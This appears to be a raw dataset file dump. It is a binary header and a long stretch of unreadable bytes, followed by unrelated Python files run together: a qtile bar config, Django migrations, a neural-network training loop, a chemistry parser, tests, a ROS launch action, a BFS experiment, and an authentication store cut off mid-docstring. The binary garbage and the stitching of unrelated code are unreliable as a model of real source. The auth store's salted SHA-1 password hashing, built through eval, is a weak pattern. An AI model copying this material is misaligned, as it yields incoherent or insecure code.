�����    �   huggingface�{"info": {"features": {"id": {"dtype": "string", "_type": "Value"}, "text": {"dtype": "string", "_type": "Value"}, "dataset_id": {"dtype": "string", "_type": "Value"}}}}p4���� dataset_id��������text���� id����  P�G   �� ����+�+�@;*GpPGpPG�`G8J���%,4<CJQX_fmt{������������������ !(07?GNU\cjqy������������������  '.6=DKRZbiqy������������������ '.6<CJQX_fmu|������������������ !(/6=DKS[bipw~������������������ !(/5<CKSZbipw~������������������ %,4;BJPW^elsz������������������ &.5;CKRY`gnv}������������������ !(/6=ELTZaipw�����������������    ' . 6 = E L S Z b j q y � � � � � � � � � � � � � � � � � � �    ! ) 1 8 ? E L S Y ` g n u | � � � � � � � � � � � � � � � � � �    ' . 5 < D K R Y a h p x  � � � � � � � � � � � � � � � � � �     # * 1 8 ? F M T [ b i p x  � � � � � � � � � � � � � � � � �    ! ( 0 7 ? F M R Y ` f m t { � � � � � � � � � � � � � � � � � �   &.5<DKRYahpw~�����������������$+27<CKSZ`how~������������������  (.5<CJRV]eks{������������������� #*19@EKSZahpw������������������ %,39AHOV^emt|�����������������$+2:AHOW^fmu|������������������ '.5<DKRY`gnu}������������������ $+3:@FNT[bhov}�����������������%,3:BJQX`gnv|������������������ &.6>EJRY`gnv}������������������  '/7>ELSZbipw������������������ !(/6=DKRZaipw~������������������ ")/6=DKQW^elry������������������$,29AGNV^eks{����������������609092124695071153290210199884665210093311511041115310011230330590315454317109363809266536413396920546180574173939348898973391780823500044240452185214950097125920792822989378340691260797212383232106817101148890012011692248508583583038349336789701091791563836482992962276279882250894174550660588761126301537606291037361911439879796345925984276725492592633949643031867169128652576911806314684599307092618487125562641065644262956997424286307687685695742985633872770446533714850190127793373564896112002816252072274712411089902738637655584471238767293763902628539121118547889548452311713304907086053119379901232718834353241085217910167208823810383775715066361901273915292244012861926158972892551205168189583911091912012866735696663944939512193518315639017669826578771121432930138451186232510664355115703702028373641052211733192128550719896775033526213845694314664615605169210956404512193676112237973220591214209511837587445355353795911020021666058060581729473086672201193528741067729022424092535250114044352402693165448212938256124378250081757920631968861118764630884245317618424434821888679128628409812110472466103226845521419937622240049046643512589967379456888524247271215478613209231176909666761343654087979207088238612267989978591001199805890271723471043108386916020301158234037901781021950312678355540503759627685412667837595847223457785512094426122446861046561620222491111432914161545633249922788686479665495480899546222952145243495387043340462953623677326202392864558914598930198781476249245729765737900750383812576249762444947116963072371719900800744604259880110154910770498661143362998405286214132112146975469966958931973304599804459441770294545984670215330696287798245720789343138115379411059698250819091257706872031601168330043669291179084192277567085392670467715737096719131484936633311218011367915899707409290105541697718114554913893482181539106459581257089340763576490232113024962216118660944128527153999911790615390541044625273769902530026619064152523905618267571238072710965815592878126713445206653761484751210720045781080071835259628622512103619771098530173828485512858251742230700959569868370165123485934736917116180437358692836763109016144127816357851311137068607497011617718101057011630924476236470506424308392767891128042811131887370800234075006882377125791987346118371657312642769115553184574154912044810490599441184610996837584377211928992386288010287517294438624450279156225106320671082199047789531233358558185683851579797649313252724698876210643478944479237629995167424521339180593620485818647110865920414890112444548997216539772137073967605124214112793000722582441253834310081826127667988679608430606525814462546043047132988763924815499768113860149498718481625179434571715760841144642749582125939411580457127431333390858793360820013751157319764637191178411855767438524653617639556029131928232984665934352682389955851589529929040939071605020427265781056941083669929783071301622687140111179196790189810187973120394298050162950333730565087360512128093957971312170350480478659011632279551406688105008341000322610735827510364796308458765998884932128093091146702043004454936140594221937361944082300420320446897935527763867285937853172358670657279925069691882263253149012435108305935011220927822234212164932154395429556925570216276906711513026579506787827861621255594325671146351156100165728381099991368807251167081512715474538367415318671274255064679581143898153564641139361886306371095837490672505738794627525910351797311322998636973112098102138447430628166014369814699710909738128113755488904159009328357816596098992863211546171249565395403625903918525246657161966635268282308884233110946801747371413895311031424381534427132701063595038135106484957233528310116304307479310662663232586439437941066438034705102622652108831963163209739825512046999343259681676810557180119605647791099571701335980416992229292472589377515034048352256312192242516157919504053580352576529520738787323039235688334512775316120060583141894301932118484597927126110056567753990104561448956805030521841137130456119126653916223335993436711817607378598267222333354580058104618865092311004495406625100469104310426103832993626867117439392929493101845313193758899735714575699822354070980118733836258220019110079338447997127523401010342729299079545811201544811254253598970972332112632436112098207492183100794169988213480942659997862641197166616279336865647337741515556670079296492563114459957736379221006988131872784810107081915163661417566535051003142091935518365871922557711037976433681212596748977957557057437640569388262943803377706196636223613857647740036974705256102163505863719601259704969370528779458956674242098123993964024457105637458657509532638530721553511298477016224845124747907914493483602192158241095724478861791150444917096941140833061131396164777181252638270547250466123168158194061851752111695181506271610291202711409910092566557142212482005903360336956801002812293500789235786115409791522434313457317234576425730117207746590746491184956850471266952541901451195003537030421075178935193151933358476652011940628119583712208210896974910784548917444852324805783771463261325156367768161664034485052885391639598901040091884393419463433916809970891695204585125405715062920977915776806961010110171898578986547819970734933738664098645651384355751056369539633521245371790655491501307233276975258503736938647277610493565125453588759011684569571116245763106400694414379519272541164863411552117839645117248241199552810142873204874911390835424984052973339657212237746252038184839180486146243067438571688404885624817792129425154653371631163098112799433734265611799593168605675996256083281265873249886723165926738371811050414154980611532070101549082970943438752856063731833974108585034403937218535772163761189185710714726314346813280301155282253917389588148123814621961521031347127994681886218564123809595040391149653560516251180356147206429313845831105179937881049084599843162162060478043869254341145839196708616164261347266911040811085492611799667108003921123840648966977317312722540303084041843116075614913389112714305707987467719895550678836428272190936517517827889995865468857171064022708330254486357270286564222411402113534118895001811157148686799681057124025989059989370698947084787794747533102099281177057040368248075110340276584716366536073109558279857480218011180591231233242188282011534442116287005142805836110918558103318150960990544621246640606185145570173871989621245687860422876847788057924122639368403288767048238950166493320538258566164021115395939460156573603596436908669089416741043990714588251060368260411131926128759577516235075229113974284461715456758617763309313108812597814322577188772778599314447791147648279321423978155311750957691381742214239495938116869832068854541659812219640625093830558840019476304301386515011531711617281213094758985214182956725449367459397371880976157472741104579519443654095799717224396731024400592105695696914690723756575623076589642558370729246906558650159728512456666292832186328944154394388981247298572241412101568652732349466466100039899607021664194115017761018344534865273717831116471411084104384367784769787348003658414182138304586198634340187445184596993113726099326687244013832557322643395104989473218025��QY\&y,�5�7B:hO/[�\d�K�Z�Q���]��������������/�?�Q�W�wrx}o}� �َ@���O���������������3  �%BCKK�U�XOgp��(���]�����\� ��R�aOm�n}�մ��?�T���2 B�tL�`�g�|��U�H�A�"�� ��,M/:=J@/\0]es�s�~n�����^�@��������%�����������-:6�=YE2FxIEN�XZ)e�e>k\r�Ƥ�������O������������M�������b� �  �' 1 �3 �4 f= �N �u 2� � � �� �� �� �� P D � � � I# �1 A? �F ?b �d �� � � * r0 �G �] W_ i �o � �� �� �� _ g! �: �K �o *� 2� � �� +� �� �� m� �245�Y�Y�\_�`�hi�k�l�z����θ���������� ��������9����] | �326bD�H�NEO�Zs[�np�0�� �b,F,W�[$aRb�fi�i���?���9� �M�N�S~k,{�|'�����.���8��&�����������` 8Wm��/������ڷ ��x�7�������������&���+���e� � t)z?�A�G�J�K�b�t{9|�}�#�A�>�MWP1`pp2���L���a���c���/�6]INM�MbV�V.XXYzv�y�y�z�}N�"�O�Ѩ#�������u� �m�n���r���� -�{%0(�(t;z������������� �#�_�d�yj}�~����Ƌˍ0� �8�������[�%_�l�nxu�&���j���|����(�+.�5`9<�I;]�_�`g'{�����>�Y�͵�?�*�4���������0�9�M^v��x�R���������-;�6%�()�G�H�ZP[-d�������}���p����x$�$ޒ$l�$2�$ʹ$`�$��$&�$]%�%�%^)%�.%58%�\%�_%a%e%�p%y%}%M�%�%�%F�%�%:�%D�%1�%ٰ%��%��%`&*&�&L*&U&Wt&�v&vy&��&��&�&+�&��&�&T�&��&�&��&�'�'�F'�V'�a'�k'Ss'�{'��'¬'��'�'��'��'�(�((5(�?(�G(�I(�( �(X�(�)� )]))!)3)N=)�N)�P)�[)�a)�f)*g)h)�i)�k)fn)�p)�t).u)>�)��)��)|�)��)L* O*>j*�m*dq*�N+Nn+p+(s+_{+~++σ+��+�+ �+d�+��+K�+��+� ,= ,3,/,Zk,*t, - -�"-N$-V+-Z5-�9-�Y-�[-Nt-=w-��-��-c�-��-l�-��-��-��-��-��- �- �-�E.�G.�O.-Y.Qb.e.l.lz.�z.��.�.�/�/�//�/b/�h/�k/�s/�v/��/F�/�/��/��/��/��/�0�0�0�0!0�70�<0�<0�H0�N0.P0��0O�0�0`�0S�0��0E�0��0)�0�0-�0��0?�0\�0��0v�0[1~1[ 11�1z1w#13%1�&1�:1�R1�S1mU1�U1��1��1��1_ 2U22�2<82�;2:F2�W2�`2�e2wr2߷2�2�2��2��2�J3�e3 l3�p3�w3�3 �3I�3[�3^�39�3�3��3'S4jY4Hi4�j4m4Jo4�r4�u4�{4�35�45w5565��5W�5Ѽ5��5��5t6��6��68�6��69�6�6��6�6�6�(7[h7�o7�r7˂7~�7�7��7~�7϶7��7��7��7�;8z=8�C8F8YO8>�8��9 �9o�97�9��9(�9��9�.:�0:�::.=:@:�C:�c:�v:y:sy:�|:�:��:��:��:��:��:��:��:9�:�:��:O�:<�:;{K;�M;�v;>�;��;I�;��;�;��;��;a�;��;#�;��;,�;<�<�<�<�<�)<�5<�G<es<�x<��<b�<��<��<��<C�<�<w=�==q=#=F5=�8=�==B>=�N=�\=_= o=�o=Ӄ=}�=S�=��=K�=��=g> >i >�>L�>X�>��>�>Z�>/�>i�>U�>�>��>��>>�>�p?�t?�v?6y?�|?�?�?��?�?��?��?�?�@�@�@$@K=@�G@�K@Q@�b@�d@�e@�s@�w@5�@��@3�@o�@�@��@��@ A�A-,A>A�@AKGA�HA�ZAN�A��A��A��AZ�A��A��A��AB�1B�@B�JBMMBĊB��B��BJ�B4IC�KC�WC�WC��C6�CU�Cy�Ci�C��CҜC��C1�C7�C��C`DiD�D$D�$Di%D*DiOD�\D�gD�vDRxD��Dp�Dj�D�D�D�DZ�D��D߽D7�D��D��D9E�>E�FEGELE�EЦEA�E��E��E��E.�E �E��E`�E1�Ed�ExF�F�{F4�F��FV�F�F��FB�F��F?�FU�F� G� G2G*G.config/qtile/bar.py import os import socket import subprocess from libqtile import widget from libqtile.bar import Bar, Gap, STRETCH from libqtile.config import Screen from libqtile.lazy import lazy from colors import colors myTerm = 'kitty' widget_defaults = { 'font': 'Iosevka Custom', 'fontsize': 12, 'padding': 0, 'background': colors[0], 'foreground': colors[2] } def icon_settings(): return { 'padding': 0, 'fontsize': 28 } def left_arrow(color1, color2): return widget.TextBox( text = '\uE0B2', background = color1, foreground = color2, **icon_settings() ) def right_arrow(color1, color2): return widget.TextBox( text = '\uE0B0', background = color1, foreground = color2, **icon_settings() ) powerline = lambda fg="light", bg="dark": widget.TextBox( text="", # Icon: nf-oct-triangle_left fontsize=37, padding=-2 ) def init_widget_list(): widgets_list = [ widget.Sep( linewidth = 0, padding = 6, foreground = colors[2], background = colors[0] ), widget.GroupBox( font = "PowerlineSymbols", fontsize = 9, margin_y = 3, margin_x = 0, padding_y = 5, padding_x = 3, borderwidth = 3, active = colors[2], inactive = colors[2], rounded = False, highlight_color = colors[1], highlight_method = "line", this_current_screen_border = colors[3], this_screen_border = colors [4], other_current_screen_border = colors[0], other_screen_border = colors[0], foreground = colors[2], background = colors[0] ), widget.Spacer(length=STRETCH), widget.Mpd2(), widget.Spacer(length=STRETCH), widget.Net( format = '↓{down} ↑{up}', foreground = colors[2], background = colors[4], padding = 5 ), widget.TextBox( text = '', background = colors[4], foreground = colors[5], padding = 0, fontsize = 37 ), widget.TextBox( text = '', background = colors[5], foreground = colors[4], padding = 0, fontsize = 37 ), widget.CurrentLayoutIcon( custom_icon_paths = [os.path.expanduser("~/.config/qtile/icons")], foreground = colors[0], background = colors[4], padding = 0, scale = 0.7 ), widget.CurrentLayout( foreground = colors[2], background = colors[4], padding = 5 ), widget.TextBox( text = '', background = colors[4], foreground = colors[5], padding = 0, fontsize = 37 ), widget.Clock( foreground = colors[2], background = colors[5], format = "%A, %B %d [ %H:%M ]" ), widget.Sep( linewidth = 0, padding = 10, foreground = colors[0], background = colors[5] ), widget.Systray( background = colors[0], padding = 5 ), ] return widgets_list def init_screen(main: bool = False): gap = Gap(10) return Screen( bottom = gap, left = gap, right = gap, top = Bar( init_widget_list(), 26, background = colors[0][0], opacity = .75, margin = [0, 0, 10, 0] ) ) screens = [ init_screen(True), init_screen() ] from event import Event class UseTrinket(Event): def act(self): self.trinket.perform() def __init__(self, trinket, priority): super().__init__('use_trinket', priority) self.trinket = trinket LawiOtieno/lawi-gallery # Generated by Django 3.2.5 on 2021-10-12 02:27 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('photos', '0001_initial'), ] operations = [ migrations.AddField( model_name='photos', name='image_location', field=models.CharField(default='Whire location image was taken', max_length=50), ), migrations.AddField( model_name='photos', name='image_name', field=models.CharField(default='White name of image', max_length=100), ), ] import time import numpy as np import h5py import matplotlib.pyplot as plt import scipy from PIL import Image from parameters import initialize_parameters_deep, update_parameters from linear_forward import L_model_forward from linear_backward import L_model_backward from cost_function import compute_cost # GRADED FUNCTION: L_layer_model def L_layer_model(X, Y, layers_dims, learning_rate=0.0075, num_iterations=3000, print_cost=False): """ Implements a L-layer neural network: [LINEAR->RELU]*(L-1)->LINEAR->SIGMOID. Arguments: X -- data, numpy array of shape (num_px * num_px * 3, number of examples) Y -- true "label" vector (containing 0 if cat, 1 if non-cat), of shape (1, number of examples) layers_dims -- list containing the input size and each layer size, of length (number of layers + 1). learning_rate -- learning rate of the gradient descent update rule num_iterations -- number of iterations of the optimization loop print_cost -- if True, it prints the cost every 100 steps Returns: parameters -- parameters learnt by the model. They can then be used to predict. """ np.random.seed(1) costs = [] # keep track of cost # Parameters initialization. parameters = initialize_parameters_deep(layers_dims) # Loop (gradient descent) for i in range(0, num_iterations): # Forward propagation: [LINEAR -> RELU]*(L-1) -> LINEAR -> SIGMOID. AL, caches = L_model_forward(X, parameters) # Compute cost. cost = compute_cost(AL, Y) # Backward propagation. grads = L_model_backward(AL, Y, caches) # Update parameters. parameters = update_parameters(parameters, grads, learning_rate) # Print the cost every 100 iterations if print_cost and i % 100 == 0 or i == num_iterations - 1: print("Cost after iteration {}: {}".format(i, np.squeeze(cost))) if i % 100 == 0 or i == num_iterations: costs.append(cost) return parameters, costs #!/usr/bin/env python # # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # # # California Institute of Technology # (C) 1998-2003 All Rights Reserved # # # # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # import journal from pyre.parsing.Parser import Parser class BaseParser(Parser): # transitions def anElementSection(self, token): self._tokenizer.unfetch(token) return self.anEndSection(token) def aSpeciesSection(self, token): self._tokenizer.unfetch(token) return self.anEndSection(token) def aThermoSection(self, token): self._tokenizer.unfetch(token) return self.anEndSection(token) def aTransSection(self, token): self._tokenizer.unfetch(token) return self.anEndSection(token) def aReactionSection(self, token): self._tokenizer.unfetch(token) return self.anEndSection(token) def anEndSection(self, token): return 1 # callback for the end-of-file def onEndOfFile(self): return 1 # handlers for the boring tokens def aComment(self, token): return 0 def aWhitespace(self, token): return 0 # error handlers def onWarning(self, msg, locator=None): channel = journal.warning("fuego") self._diagnostic(channel, msg, locator) return def onError(self, msg, locator=None): channel = journal.error("fuego") self._diagnostic(channel, msg, locator) return # others def __init__(self, mechanism=None): Parser.__init__(self) self._mechanism = mechanism return def _diagnostic(self, channel, message, locator): file = locator.filename line = locator.line column = locator.column channel.line("file '%s'(%d:%d): %s:" % (file, line, column, type)) channel.line(message) channel.line(self._tokenizer.text) channel.log(" "*column + "^") return _info = journal.debug("pyre.chemistry.chemkin-parser") # version __id__ = "$Id$" # # End of file import os from pathlib import Path from approvaltests import verify from approvaltests.reporters.python_native_reporter import * from py._path.local import LocalPath def test_files_identical(tmpdir: LocalPath) -> None: file1 = os.path.join(str(tmpdir), "a.received.txt") file2 = os.path.join(str(tmpdir), "b.approved.txt") identical_contents = "abc" with open(file1, "w") as f1: f1.write(identical_contents) with open(file2, "w") as f2: f2.write(identical_contents) verify(calculate_diff(file1, file2)) def test_files_differ(tmpdir: LocalPath) -> None: file1 = os.path.join(str(tmpdir), "a.received.txt") file2 = os.path.join(str(tmpdir), "b.approved.txt") with open(file1, "w") as f1: f1.write("abc\n") with open(file2, "w") as f2: f2.write("def\n") diff = calculate_diff(file1, file2) diff = diff.replace(str(tmpdir), "tmpdir") # use scrubber in future diff = diff.replace("\\", "/") clean_diff = "" for line in diff.split("\n"): if line.startswith("mv") or line.startswith("move"): clean_diff += "" else: clean_diff += line + "\n" verify(clean_diff) def test_approved_file_is_created_when_missing(tmpdir: LocalPath) -> None: file1 = os.path.join(str(tmpdir), "a.received.txt") file2 = os.path.join(str(tmpdir), "b.approved.txt") with open(file1, "w") as f1: f1.write("abc") reporter = PythonNativeReporter() reporter.report(file1, file2) assert Path(file2).exists() modelTrainning/until.py #-*- coding:utf8 -*- import pandas as pd import datetime import pickle from gensim.models import word2vec import pymysql ''' set stock isPre label param: raw stock file output: save stockinfo into pickle dataframes: [date, open, close, label] with index: date ''' def my_date_parser(dt): return datetime.datetime.strptime(dt, "%Y-%m-%d") def getStockInfo(filename): # stock_info = np.load(open("","rb"),) stock_info = pd.read_csv(filename, date_parser=my_date_parser, parse_dates=['Date'], usecols=['Date', 'Open', 'Close'], index_col='Date') tmp = [] for index, row in stock_info.iterrows(): # print(row) if row[0] < row[1]: tmp.append(1) else: tmp.append(0) stock_info['label'] = tmp pickle.dump(stock_info, open("./traindata/stock_info.pkl", "wb"), True) ''' use textcropus to get word2vec model param: textcropus output: word2vec model wordsDic ## wordsDic[word] = Array(1*100) ''' def wordToVec(filename): # 加载语料 sentences = word2vec.LineSentence(filename) # 训练skip-gram模型; 默认window=5 model = word2vec.Word2Vec(sentences, size=100) save_model = open("./traindata/word2vecModel", "wb") model.save_word2vec_format(save_model, binary=False) words = model.index2word wordsDic = {} for word in words: wordsDic[word] = model[word] pickle.dump(wordsDic, open("./traindata/wordsDic.pkl","wb"), True) ''' select from mysql subWord eventWord objWord time param: none output: [{subWord:XX, eventWord:XX, objWord:XX, time: XX}] file ''' def saveEventTime(): connection = pymysql.connect( host="172.18.219.88", port=3306, user="qiumy", passwd="", db="Reuters_news", charset="utf8", cursorclass=pymysql.cursors.DictCursor) try: with connection.cursor() as cur: sql = "select `subWord`, `eventWord`, `objWord`, `time` from `event_word`" cur.execute(sql) r = cur.fetchall() print(len(r)) finally: connection.close() pickle.dump(r, open("./traindata/eventWord_time.pkl","wb"), True) if __name__ == '__main__': # getStockInfo("./rawdata/raw_stock.csv") # wordToVec("./rawdata/raw_news.txt") saveEventTime()# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import migrations def clear_old_results(apps, schema_editor): Scenario = apps.get_model('modeling', 'Scenario') Scenario.objects.all().update( results='[]', modification_hash='', inputmod_hash='', ) class Migration(migrations.Migration): dependencies = [ ('modeling', '0020_auto_20161206_1556'), ] operations = [ migrations.RunPython(clear_old_results) ] app/plants/migrations/0016_auto_20211117_2108.py # Generated by Django 3.2 on 2021-11-17 21:08 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('plants', '0015_auto_20210929_1449'), ] operations = [ migrations.AddField( model_name='room', name='color_background', field=models.CharField(default='#000000', max_length=9), ), migrations.AddField( model_name='room', name='color_text', field=models.CharField(default='#FFFFFF', max_length=9), ), ] # Copyright 2018 Open Source Robotics Foundation, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Module for the LifecycleNode action.""" import functools import logging from typing import cast from typing import List from typing import Optional from typing import Text import launch from launch.action import Action import lifecycle_msgs.msg import lifecycle_msgs.srv from .node import Node from ..events.lifecycle import ChangeState from ..events.lifecycle import StateTransition _logger = logging.getLogger(name='launch_ros') class LifecycleNode(Node): """Action that executes a ROS lifecycle node.""" def __init__(self, *, node_name: Text, **kwargs) -> None: """ Construct a LifecycleNode action. Almost all of the arguments are passed to :class:`Node` and eventually to :class:`launch.actions.ExecuteProcess`, so see the documentation of those classes for additional details. This action additionally emits some event(s) in certain circumstances: - :class:`launch.events.lifecycle.StateTransition`: - this event is emitted when a message is published to the "//transition_event" topic, indicating the lifecycle node represented by this action changed state This action also handles some events related to lifecycle: - :class:`launch.events.lifecycle.ChangeState` - this event can be targeted to a single lifecycle node, or more than one, or even all lifecycle nodes, and it requests the targeted nodes to change state, see its documentation for more details. """ super().__init__(node_name=node_name, **kwargs) self.__rclpy_subscription = None self.__current_state = \ ChangeState.valid_states[lifecycle_msgs.msg.State.PRIMARY_STATE_UNKNOWN] def _on_transition_event(self, context, msg): try: event = StateTransition(action=self, msg=msg) self.__current_state = ChangeState.valid_states[msg.goal_state.id] context.asyncio_loop.call_soon_threadsafe(lambda: context.emit_event_sync(event)) except Exception as exc: _logger.error( "Exception in handling of 'lifecycle.msg.TransitionEvent': {}".format(exc)) def _call_change_state(self, request, context: launch.LaunchContext): while not self.__rclpy_change_state_client.wait_for_service(timeout_sec=1.0): if context.is_shutdown: _logger.warn("Abandoning wait for the '{}' service, due to shutdown.".format( self.__rclpy_change_state_client.srv_name)) return response = self.__rclpy_change_state_client.call(request) if not response.success: _logger.error("Failed to make transition '{}' for LifecycleNode '{}'".format( ChangeState.valid_transitions[request.transition.id], self.node_name, )) def _on_change_state_event(self, context: launch.LaunchContext) -> None: typed_event = cast(ChangeState, context.locals.event) if not typed_event.lifecycle_node_matcher(self): return None request = lifecycle_msgs.srv.ChangeState.Request() request.transition.id = typed_event.transition_id context.add_completion_future( context.asyncio_loop.run_in_executor(None, self._call_change_state, request, context)) def execute(self, context: launch.LaunchContext) -> Optional[List[Action]]: """ Execute the action. Delegated to :meth:`launch.actions.ExecuteProcess.execute`. """ self._perform_substitutions(context) # ensure self.node_name is expanded if '' in self.node_name: raise RuntimeError('node_name unexpectedly incomplete for lifecycle node') # Create a subscription to monitor the state changes of the subprocess. self.__rclpy_subscription = context.locals.launch_ros_node.create_subscription( lifecycle_msgs.msg.TransitionEvent, '{}/transition_event'.format(self.node_name), functools.partial(self._on_transition_event, context)) # Create a service client to change state on demand. self.__rclpy_change_state_client = context.locals.launch_ros_node.create_client( lifecycle_msgs.srv.ChangeState, '{}/change_state'.format(self.node_name)) # Register an event handler to change states on a ChangeState lifecycle event. context.register_event_handler(launch.EventHandler( matcher=lambda event: isinstance(event, ChangeState), entities=[launch.actions.OpaqueFunction(function=self._on_change_state_event)], )) # Delegate execution to Node and ExecuteProcess. return super().execute(context) from Grid_Generator import gen_grid import timeit import pandas as pd def find_path(parent, dim, si, sj): i,j = dim-1, dim-1 path = [(dim-1, dim-1)] while (i, j) != (si, sj): path.insert(0, parent[i][j]) (i, j) = parent[i][j] return(path) def BFS(dim, grid, si, sj): result = False fringe = [(si, sj)] cells = 0 p = [[-1 for i in range(dim)] for j in range(dim)] p[si][sj] = 0 while len(fringe) != 0: (i, j) = fringe.pop(0) cells = cells + 1 #print("a") if (i, j) == (dim-1, dim-1): result = True break if i-1 >= 0 and grid[i-1][j] != 1 and p[i-1][j] == -1: p[i-1][j] = (i, j) fringe.append((i-1,j)) if j+1 < dim and grid[i][j+1] != 1 and p[i][j+1] == -1: p[i][j+1] = (i, j) fringe.append((i,j+1)) if i+1 < dim and grid[i+1][j] != 1 and p[i+1][j] == -1: p[i+1][j] = (i, j) fringe.append((i+1,j)) if j-1 >= 0 and grid[i][j-1] != 1 and p[i][j-1] == -1: p[i][j-1] = (i, j) fringe.append((i,j-1)) return(result, p, cells) def lim_repeated_BFS(grid, dim): start = timeit.default_timer() dis = [[0 for i in range(dim)] for j in range(dim)] si = 0 sj = 0 result = False done = False final = [] cells = 0 while done != True: result, parent, BFS_cells = BFS(dim, dis, si, sj) cells = BFS_cells + cells if result == False: break path = find_path(parent, dim, si, sj) flag = True for (i, j) in path: if grid[i][j] == 1: dis[i][j] = 1 (si, sj) = parent[i][j] final.pop(len(final)-1) flag = False break final.append((i, j)) if flag: done = True stop = timeit.default_timer() return(result, final, dis, cells, start, stop) df = pd.DataFrame(columns=['p', 'Trajectory Length', 'FDG Length', 'FG Length', 'Cells Processed']) p = 0 x = 0 while p < 0.31: grid = gen_grid(101, p) result, traj, dis, cells_processed, start, stop = lim_repeated_BFS(grid, 101) if result: x = x + 1 result, parent, c = BFS(101, dis, 0, 0) FDG_path = find_path(parent, 101, 0, 0) result, parent, c = BFS(101, grid, 0, 0) FG_path = find_path(parent, 101, 0, 0) df1 = pd.DataFrame([[p, len(traj), len(FDG_path), len(FG_path), cells_processed]],columns=['p','Trajectory Length','FDG Length','FG Length','Cells Processed']) df = pd.concat([df,df1]) if x == 30: x = 0 print(p) p = p + 0.01 df.to_csv('Extra_Question_7.csv') import bokeh.plotting import bokeh.models figure = bokeh.plotting.figure() glyph = bokeh.models.Patches(xs="xs", ys="ys") source = bokeh.models.ColumnDataSource({ "xs": [[0, 0.1, 0.1, 0], [0.3, 0.4, 0.4, 0.3]], "ys": [[0, 0, 0.1, 0.1], [0.3, 0.3, 0.4, 0.4]], }) figure.add_glyph(source, glyph) document = bokeh.plotting.curdoc() document.add_root(figure) braidedlogix/Encore_wxPhoenix_py3encore/storage/simple_auth_store.py # # (C) Copyright 2012 Enthought, Inc., Austin, TX # All right reserved. # # This file is open source software distributed according to the terms in LICENSE.txt # """ Simple Authenticating Store =========================== This module provides a simple wrapper for a store that implements a simple authentication scheme. This may be used as a base for more complex and fine-grained authentication. By default it authenticates by computing a (salted) hash of the user's password and validates it against the hash stored in an appropriate key. Authenticated users then have full access to all keys. Subclasses can refine this behaviour by overriding the check_permissions() method to provide different or more controlled permissioning. """ import hashlib from .abstract_store import AbstractStore class AuthenticationError(Exception): pass def sha1_hasher(s): """ A simple utility function for producing a sha1 digest of a string. """ return hashlib.sha1(s).digest() def make_encoder(salt, hasher=None): """ Create a moderately secure salted encoder Parameters ---------- salt : bytes A salt that is added to the user-supplied password before hashing. This salt should be kept secret, but needs to be remembered across invocations (ie. the same salt needs to be used every time the password is encoded). hasher : callable A callable that takes a string and returns a cryptographic hash of the string. The default is :py:func:`sha1_hasher`. """ # we eval so that the value of the salt is a little more obscured. An # attacker who knows what they are doing can probably get at the value, but # if they have the level of access required to see this function then they # probably have access to the raw underlying store as well. if hasher is None: hasher = sha1_hasher return eval("lambda password: hasher(" + repr(salt) + "+password)", {'hasher': hasher}) class SimpleAuthStore(AbstractStore): """ A key-value store that wraps another store and implements simple authentication This wraps an existing store with no notion of authentication and provides simple username/password authentication, storing a hash of the password in the wrapped store. The base implementation has all-or-nothing Parameters ---------- event_manager : An event_manager which implements the :py:class:`~.abstract_event_manager.BaseEventManager` API. store : AbstractStore instance The wrapped store that actually holds the data. encoder : callable A callable that computes the password hash. user_key_path : str The prefix to put before the username for the keys that store the user's information. At present these keys must simply hold the encoded hash of the user's password. user_key_store : AbstractStore instance The store to store the user keys in. Defaults to the wrapped store. """ def __init__(self, store, encoder, user_key_path='.user_', user_key_store=None): super(SimpleAuthStore, self).__init__() self.store = store self.encoder = encoder self.user_key_path = user_key_path self.user_key_store = store if user_key_store is None else user_key_store self._username = None self._token = None self._connected = False def connect(self, credentials=None): """ Connect to the key-value store, optionally with authentication This method creates or connects to any long-lived resources that the store requires. Parameters ---------- credentials : A dictionary with keys 'username' and 'password'. """ self._username = credentials['username'] # We only support utf-8 encoded byte strings for the encoding self._token = self.encoder(credentials['password'].encode('utf-8')) if 'connect' not in self.check_permissions(): raise AuthenticationError( 'User "%s" is not authenticated for connection' % self._username) self._connected = True def disconnect(self): """ Disconnect from the key-value store This method disposes or disconnects to any long-lived resources that the store requires. """ self._connected = False self._token = None self.store = None def is_connected(self): """ Whether or not the store is currently connected Returns ------- connected : bool Whether or not the store is currently connected. """ return self._connected def info(self): """ Get information about the key-value store Returns ------- metadata : dict A dictionary of metadata giving information about the key-value store. """ return {'readonly': self.store.info.get('readonly', True), } ########################################################################## # Basic Create/Read/Update/Delete Methods ########################################################################## def get(self, key): """ Retrieve a stream of data and metdata from a given key in the key-value store. Parameters ---------- key : string The key for the resource in the key-value store. They key is a unique identifier for the resource within the key-value store. Returns ------- data : file-like A readable file-like object that provides stream of data from the key-value store metadata : dictionary A dictionary of metadata for the key. Raises ------ KeyError : If the key is not found in the store, or does not exist for the user, a KeyError is raised. AuthenticationError : If the user has no rights to get the key, then an Authentication error is raised. """ permissions = self.check_permissions(key) if 'exists' in permissions: if 'get' in permissions: return self.store.get(key) else: raise AuthenticationError( 'User "%s" is not permitted to get "%s"' % (self._username, key)) else: raise KeyError(key) def set(self, key, value, buffer_size=1048576): """ Store a stream of data into a given key in the key-value store. This may be left unimplemented by subclasses that represent a read-only key-value store. Parameters ---------- key : string The key for the resource in the key-value store. They key is a unique identifier for the resource within the key-value store. value : tuple of file-like, dict A pair of objects, the first being a readable file-like object that provides stream of data from the key-value store. The second is a dictionary of metadata for the key. buffer_size : int An optional indicator of the number of bytes to read at a time. Implementations are free to ignore this hint or use a different default if they need to. The default is 1048576 bytes (1 MiB). Events ------ StoreProgressStartEvent : For buffering implementations, this event should be emitted prior to writing any data to the underlying store. StoreProgressStepEvent : For buffering implementations, this event should be emitted periodically as data is written to the underlying store. StoreProgressEndEvent : For buffering implementations, this event should be emitted after finishing writing to the underlying store. StoreSetEvent : On successful completion of 